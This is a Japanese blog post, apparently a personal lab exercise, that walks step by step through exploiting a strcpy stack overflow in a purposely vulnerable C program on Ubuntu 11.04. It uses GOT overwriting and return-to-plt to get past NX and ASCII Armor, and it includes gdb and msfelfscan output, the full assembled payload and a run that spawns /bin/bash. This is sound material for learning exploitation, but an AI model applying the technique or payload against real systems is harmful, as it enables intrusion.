GOT overwriting と return-to-plt を使ってNX-bitとASCII Armorを回避してみた
環境:Ubuntu 11.04
NX-bitなんかreturn-to-libcを使えば簡単に回避できるんだろうと思っていたんだけど、実際にやってみようとしたところ、ASCII Armorというのがあって実は一筋縄には行かない。
ASCII Armor:libcなどの共有ライブラリをNULL byteを含むアドレスに置く。これによって単純にreturn-to-libcを行うようなコードを注入できなくなる。
とりあえずこのチュートリアルに沿ってやっていけばできるはず。詳しくはこれを見てください。
http://sickness.tor.hu/?p=378
GOTとPLTがわからん人はここを見るといいかも知れません。わしも知らんけどな。
http://d.hatena.ne.jp/yupo5656/20060618/p1
使用した脆弱なコードはこれ。これを攻撃する。
vuln_nx.c
#include <stdio.h> int main(int argc, char *argv[]){ char buffer[500]; strcpy(buffer, argv[1]); printf(" buffer is %s\n", buffer); return 0; }
コンパイルは次のように行う。
gcc -ggdb -fno-stack-protector -z norelro -o vuln_nx vuln_nx.c
- ggdb: gdb用のデバッグ情報をつける。不要だと思うならつけなくても良いんじゃなイカ。
- fno-stack-protector: Stack Smashing Protector を解除
- z norelro: RELROとかいうのを付けない。よく知らんけど。こうするとGOTを書き換えられるようになる。
チュートリアルによると
JUNK + strcpy@plt + pop pop ret + GOT_of_puts[0] + address of byte[1] + strcpy@plt + pop pop ret + GOT_of_puts[1] + address of byte[2]+ strcpy@plt + pop pop ret + GOT_of_puts[2] + address of byte[3]+ strcpy@plt + pop pop ret + GOT_of_puts[3] + address of byte[4]+ PLT_of_puts + JUNK (insted of exit()) + address of /bin/bash
って感じの引数を先の脆弱なプログラムに入れればシェル起動できるらしい。
しかし、コード中でputs使ってないせいか、putsのplt見つからない。
なので、代わりにprintfのpltを使った。
つまり私の場合は、
JUNK + strcpy@plt + pop pop ret + GOT_of_printf[0] + address of byte[1] + strcpy@plt + pop pop ret + GOT_of_printf[1] + address of byte[2]+ strcpy@plt + pop pop ret + GOT_of_printf[2] + address of byte[3]+ strcpy@plt + pop pop ret + GOT_of_printf[3] + address of byte[4]+ PLT_of_printf + JUNK (insted of exit()) + address of /bin/bash
というわけでそれぞれのアドレス調べる。
A. strcpy@plt と printf@plt
main関数ディスアセンブルすればすぐわかる。
(gdb) disas main Dump of assembler code for function main: 0x080483d4 <+0>: push %ebp 0x080483d5 <+1>: mov %esp,%ebp 0x080483d7 <+3>: and $0xfffffff0,%esp 0x080483da <+6>: sub $0x210,%esp 0x080483e0 <+12>: mov 0xc(%ebp),%eax 0x080483e3 <+15>: add $0x4,%eax 0x080483e6 <+18>: mov (%eax),%eax 0x080483e8 <+20>: mov %eax,0x4(%esp) 0x080483ec <+24>: lea 0x1c(%esp),%eax 0x080483f0 <+28>: mov %eax,(%esp) 0x080483f3 <+31>: call 0x80482f4 <strcpy@plt> 0x080483f8 <+36>: mov $0x80484e0,%eax 0x080483fd <+41>: lea 0x1c(%esp),%edx 0x08048401 <+45>: mov %edx,0x4(%esp) 0x08048405 <+49>: mov %eax,(%esp) 0x08048408 <+52>: call 0x8048304 <printf@plt> 0x0804840d <+57>: mov $0x0,%eax 0x08048412 <+62>: leave 0x08048413 <+63>: ret End of assembler dump.
というわけで、
strcpy@plt = 0x080482f4 → "\xf4\x82\x04\x08"
PLT_of_printf = 0x08048304 → "\x04\x83\x04\x08"
B. pop pop ret
pop pop retを見つけるにはmetasploit frameworkのmsfelfscanというスクリプトを使うとよろしいらしい。
metasploitを入れてない人は
http://www.metasploit.com/download/
からダウンロードしてインストールしよう。
わしはFull Setupのほう入れた。
chmod +x framework-3.*-linux-full.run sudo ./framework-3.*-linux-full.run
ruby入れてない人はrubyも入れよう。そうしないと動かないと思われ。
入れたら、
(gdb) shell /opt/framework-3.7.2/msf3/msfelfscan -p vuln_nx [vuln_nx] 0x080483a2 pop ebx; pop ebp; ret 0x08048477 pop edi; pop ebp; ret 0x080484b7 pop ebx; pop ebp; ret
というわけで、
pop pop ret = 0x080484b7 → "\xb7\x84\x04\x08"
C. GOT_of_printf
printf@pltは0x08048304なので、そこをディスアセンブルする。
(gdb) disas 0x08048304 Dump of assembler code for function printf@plt: 0x08048304 <+0>: jmp *0x80495ec 0x0804830a <+6>: push $0x18 0x0804830f <+11>: jmp 0x80482c4 End of assembler dump.
よって、
GOT_of_printf = 0x080495ec
GOT_of_printf[0] = 0x080495ec →"\xec\x95\x04\x08"
GOT_of_printf[1] = 0x080495ed →"\xed\x95\x04\x08"
GOT_of_printf[2] = 0x080495ee →"\xee\x95\x04\x08"
GOT_of_printf[3] = 0x080495ef →"\xef\x95\x04\x08"
D. address of /bin/bash
環境変数から借りてくる。
スタックのデータをどんどん文字列として表示してくと見つかる。
(gdb) x/4000s $esp 0xbfffec6c: "BBBB" 0xbfffec71: "" 0xbfffec72: "" 0xbfffec73: "" 0xbfffec74: "\024\355\377\277 \355\377\277\024\344\022" 0xbfffec80: "\377\377\377\377\364\317\022" 0xbfffec88: "#\202\004\b\001" 0xbfffec8e: "" 0xbfffec8f: "" (略) 0xbfffee90: "" 0xbfffee91: "" 0xbfffee92: "" 0xbfffee93: "/home/ubuntu/bof/vuln_nx" 0xbfffeeab: 'A' <repeats 200 times>... 0xbfffef73: 'A' <repeats 200 times>... 0xbffff03b: 'A' <repeats 112 times>, "BBBB" 0xbffff0b0: "ORBIT_SOCKETDIR=/tmp/orbit-ubuntu" 0xbffff0d1: "SSH_AGENT_PID=1699" 0xbffff0e4: "TERM=screen" 0xbffff0f0: "SHELL=/bin/bash"
あった。
(gdb) x/s 0xbffff0f6 0xbffff0f6: "/bin/bash"
address of /bin/bash = 0xbffff0f6 → "\xf6\x0f\xff\xbf"
E. system()
system関数のアドレス探す。
(gdb) p system $10 = {<text variable, no debug info>} 0x168950 <__libc_system>
system = 0x00168950
byte[1] = 0x00
byte[2] = 0x16
byte[3] = 0x89
byte[4] = 0x50
これらのデータをどっかから拝借する。
(gdb) find /b /2 0x08048114, 0x08049600, 0x00 0x8048126 0x8048127 2 patterns found. (gdb) find /b /2 0x08048114, 0x08049600, 0x16 Pattern not found. (gdb) find /b /2 0x08048114, 0x08049600, 0x89 0x804816b 0x8048295 <_init+1> 2 patterns found. (gdb) find /b /2 0x08048114, 0x08049600, 0x50 0x8048328 <_start+8> 0x8048cd4 2 patterns found.
0x16だけ見つからない。
でも実は0x00以外はJUNKとかの適当な場所に入れとけばいい。
ということで
0x16は0xbfffec68にあたる場所に入れとくこととする。
address of byte[1] = 0x08048126 → "\x26\x81\x04\x08"
address of byte[2] = 0xbfffec68 → "\x68\xec\xff\xbf"
address of byte[3] = 0x0804816b → "\x6b\x81\x04\x08"
address of byte[4] = 0x08048328 → "\x28\x83\x04\x08"
まとめると、
strcpy@plt = 0x080482f4 → "\xf4\x82\x04\x08"
PLT_of_printf = 0x08048304 → "\x04\x83\x04\x08"
pop pop ret = 0x080484b7 → "\xb7\x84\x04\x08"
GOT_of_printf[0] = 0x080495ec →"\xec\x95\x04\x08"
GOT_of_printf[1] = 0x080495ed →"\xed\x95\x04\x08"
GOT_of_printf[2] = 0x080495ee →"\xee\x95\x04\x08"
GOT_of_printf[3] = 0x080495ef →"\xef\x95\x04\x08"
address of /bin/bash = 0xbffff0f6 → "\xf6\x0f\xff\xbf"
address of byte[1] = 0x08048126 → "\x26\x81\x04\x08"
address of byte[2] = 0xbfffec68 → "\x68\xec\xff\xbf"
address of byte[3] = 0x0804816b → "\x6b\x81\x04\x08"
address of byte[4] = 0x08048328 → "\x28\x83\x04\x08"
これを
JUNK + strcpy@plt + pop pop ret + GOT_of_printf[0] + address of byte[1] + strcpy@plt + pop pop ret + GOT_of_printf[1] + address of byte[2]+ strcpy@plt + pop pop ret + GOT_of_printf[2] + address of byte[3]+ strcpy@plt + pop pop ret + GOT_of_printf[3] + address of byte[4]+ PLT_of_printf + JUNK (insted of exit()) + address of /bin/bash
に入れると
"\x41" * 508 + "\x16" * 4 + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xec\x95\x04\x08" + "\x28\x83\x04\x08" + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xed\x95\x04\x08" + "\x6b\x81\x04\x08" + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xee\x95\x04\x08" + "\x68\xec\xff\xbf" + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xef\x95\x04\x08" + "\x26\x81\x04\x08" + "\x04\x83\x04\x08" + "\x41" * 4 + "\xf6\xf0\xff\xbf"
これを引数に入れて実行
(gdb) run $(python -c 'print "\x41" * 508 + "\x16" * 4 + "\xf4\x82\x04\x08" + "\xb7\x8 4\x04\x08" + "\xec\x95\x04\x08" + "\x28\x83\x04\x08" + "\xf4\x82\x04\x08" + "\xb7\x84\ x04\x08" + "\xed\x95\x04\x08" + "\x6b\x81\x04\x08" + "\xf4\x82\x04\x08" + "\xb7\x84\x0 4\x08" + "\xee\x95\x04\x08" + "\x1c\xec\xff\xbf" + "\xf4\x82\x04\x08" + "\xb7\x84\x04\ x08" + "\xef\x95\x04\x08" + "\x26\x81\x04\x08" + "\x04\x83\x04\x08" + "\x41" * 4 + "\ xf6\xf0\xff\xbf" ') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/vmken/bof/vuln_nx $(python -c 'print "\x41" * 508 + "\x16" * 4 + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xec\x95\x04\x08" + "\x28\x83\x04\x08" + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xed\x95\x04\x08" + "\x6b\x81\x04\x08" + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xee\x95\x04\x08" + "\x1c\xec\xff\xbf" + "\xf4\x82\x04\x08" + "\xb7\x84\x04\x08" + "\xef\x95\x04\x08" + "\x26\x81\x04\x08" + "\x04\x83\x04\x08" + "\x41" * 4 + "\xf6\xf0\xff\xbf" ') buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�(�k�����&AAAA���� ubuntu@ubuntu:~/bof$ exit exit Program received signal SIGSEGV, Segmentation fault. 0x001685e9 in do_system (line=0xbffff0f6 "/bin/bash") at ../sysdeps/posix/system.c:175 175 ../sysdeps/posix/system.c: No such file or directory. in ../sysdeps/posix/system.c (gdb)
bash起動したヾ(@⌒ー⌒@)ノ
なんかほとんどハマることなくできてしまって拍子抜け。
色々細かいので間違ってたらすいません
ちなみにgdb上で実行してるプログラムはデフォでASLR無効になってるみたいですな。
(gdb) set disable-randomization off
すると有効になりますぞ。もちろんこの手法だと攻撃できなくなりますけど。